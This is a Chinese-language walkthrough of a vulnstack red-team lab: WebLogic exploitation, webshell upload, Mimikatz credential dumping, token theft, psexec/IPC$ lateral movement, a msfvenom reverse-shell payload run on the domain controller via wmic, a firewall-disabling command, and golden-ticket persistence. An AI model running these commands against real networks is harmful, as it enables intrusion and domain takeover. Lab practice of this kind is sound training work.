一、环境搭建

1.1 靶场下载

靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

靶机通用密码:  1qaz@WSX

1.2 环境配置

拓朴图

 

下载好靶机打开vmx文件即可,由于DMZ网段为192.168.111.0/24,所以需要将子网ip设置为192.168.111.0

 

1.3 环境说明

DC

IP:10.10.10.10

OS:Windows 2012

应用:AD域

WEB(初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX 登录进去):

IP1:10.10.10.80

IP2:192.168.111.80

OS:Windows 2008

应用:Weblogic 10.3.6 MSSQL 2008

PC

IP1:10.10.10.201

IP2:192.168.111.201

OS:Windows 7

攻击机:

IP:192.168.111.128

OS:Windows 10

IP:192.168.111.129

OS:Kali

内网网段:10.10.10.0/24

DMZ网段:192.168.111.0/24

先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX

 

WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动

二、外网渗透

拿到环境后,首先进行端口探测,这里使用-sS参数,由于防火墙的存在不能使用icmp包,所以使用syn包探测

 

通过扫描端口,我们通过端口初步判断目标机存在的服务及可能存在的漏洞,如445端口开放就意味着存smb服务,存在smb服务就可能存在ms17-010/端口溢出漏洞。开放139端口,就存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞。开放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。开放3389端口,就存在远程桌面。开放7001端口就存在weblogic。

这里先看一下weblogic,直接使用 WeblogicScan 扫描一下可能存在的漏洞,工具地址:https://github.com/rabbitmask/WeblogicScan

命令:python3 WeblogicScan.py -u 192.168.111.80 -p 7001

 

使用 java 反序列化终极测试工具测试漏洞

 

上传冰蝎马,关于选择 webshell 上传路径问题,参考 https://www.cnblogs.com/sstfy/p/10350915.html

上传路径为:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war\shell.jsp

 

冰蝎连接 http://192.168.111.80:7001/uddiexplorer/shell.jsp 

 

CS上线

CS派生MSF

 

三、内网渗透

3.1 凭据获取

右键->Access->Dump Hashes(需要Administrator权限)

右键->Access->Run Mimikatz

 

 

3.2 提权到system

ms14-058 提到 system 权限

 

也可以使用令牌窃取,提权

meterpreter > load incognito //加载incognito

meterpreter > getuid //查看当前token 

meterpreter > list_tokens -u //列出可用token 

meterpreter > impersonate_token “NT AUTHORITY\\SYSTEM” //token窃取,格式为impersonate_token”主机名\\用户名” 

meterpreter > getuid //查看当前token 

meterpreter > rev2self //返回之前的token 

 

windows平台下的incognito.exe操作与此类似。

3.3 域信息收集

ipconfig /all,发现机器有双网卡,内网 10.10.10.1/24 网段,域控 ip 10.10.10.10    (域控一般是本机的DNS服务器)

 

运行portscan模块,扫描内网

 

查看域名 net config workstation

 

关闭防火墙  netsh advfirewall set allprofiles state off

 

查看有几个域  net view /domain

 

查看域内主机   nei view

 

查询域内用户   net user /domain #该命令在本环境中需要在system权限下执行

 

查看域管理员   net group “domain admins” /domain  

 

查看域控    net group “domain controllers” /domain  

 

3.4 psexec 传递

psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。

         获取凭据后对目标网段进行端口存活探测,因为是 psexec 传递登录,这里仅需探测445端口

           命令:portscan ip网段 端口 扫描协议(arp、icmp、none) 线程

           例如:portscan 10.10.10.0/24 445 arp 200

 

可看到域控机器DC开放了445端口

工具栏 View->Targets 查看端口探测后的存活主机

 

新建一个 Listener,Payload 选择 windows/beacon_smb/bind_pipe

 

存活主机右键->Login->psexec,选择之前获取到的凭据信息(明文密文均可),选择 Listener 及主机 Session

 

 

 

DC成功上线:

3.5 IPC连接

建立IPC$连接上传木马 建立后可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径

常用命令:

net use \\ip\ipc$ pawword /user:username           建立IPC连接

copy hacker.exe \\10.10.10.10\C$\windows\temp      复制本地文件到目标服务器

copy \\10.10.10.10\C$\windows\temp\hash.txt        复制目标服务器文件到本地

3.5.1 使用msf来中转路由

1.meterpreter生成payload.exe

msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.10.80 LPORT=8888 -f exe > /tmp/payload.exe

2.ipc连接

beacon> shell net use \\ip\ipc$ pawword /user:username

beacon> shell copy C:\Users\de1ay.DE1AY\Desktop\payload.exe \\10.10.10.10\c$\windows\temp\payload.exe

 

 

3.meterpreter进行监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 10.10.10.80

set lport 8888

4.在跳板机上通过wmic命令执行木马

beacon> shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create “C:\Windows\Temp\payload.exe”

 

成功上线:

 

sessions:

 

3.5.2 使用cobalt strike来中转路由

作进一步拓展

1.点击Listener 同meterpreter设置 lport ,lhost

 

 

2.生成木马,设置listener为刚才设置的

msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.10.80 LPORT=8888 -f exe > /tmp/payload.exe

3.ipc连接

beacon> shell net use \\ip\ipc$ pawword /user:username

beacon> shell copy C:\Users\de1ay.DE1AY\Desktop\payload.exe \\10.10.10.10\c$\windows\temp\payload.exe

4.在跳板机上通过wmic命令执行木马

beacon> shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create “C:\Windows\Temp\payload.exe”

5.如果是在dc.de1ay.com双击木马是普通权限,通过cs的中转路由是administrator权限,此时我们拿到域控的管理员权限

 

四、权限维持

4.1域控信息收集

在域控获得KRBTGT账户NTLM密码哈希和SID

 

 

4.2黄金票据利用

黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。

黄金票据的条件要求:

1.域名称

2.域的SID值

3.域的KRBTGT账户NTLM密码哈希

4.伪造用户名

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。

WEB机 Administrator 权限机器->右键->Access->Golden Ticket

 

 

伪造成功:

 

 

 

 

 

 

 

参考:

版权声明:本文为vege原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/vege/p/14189154.html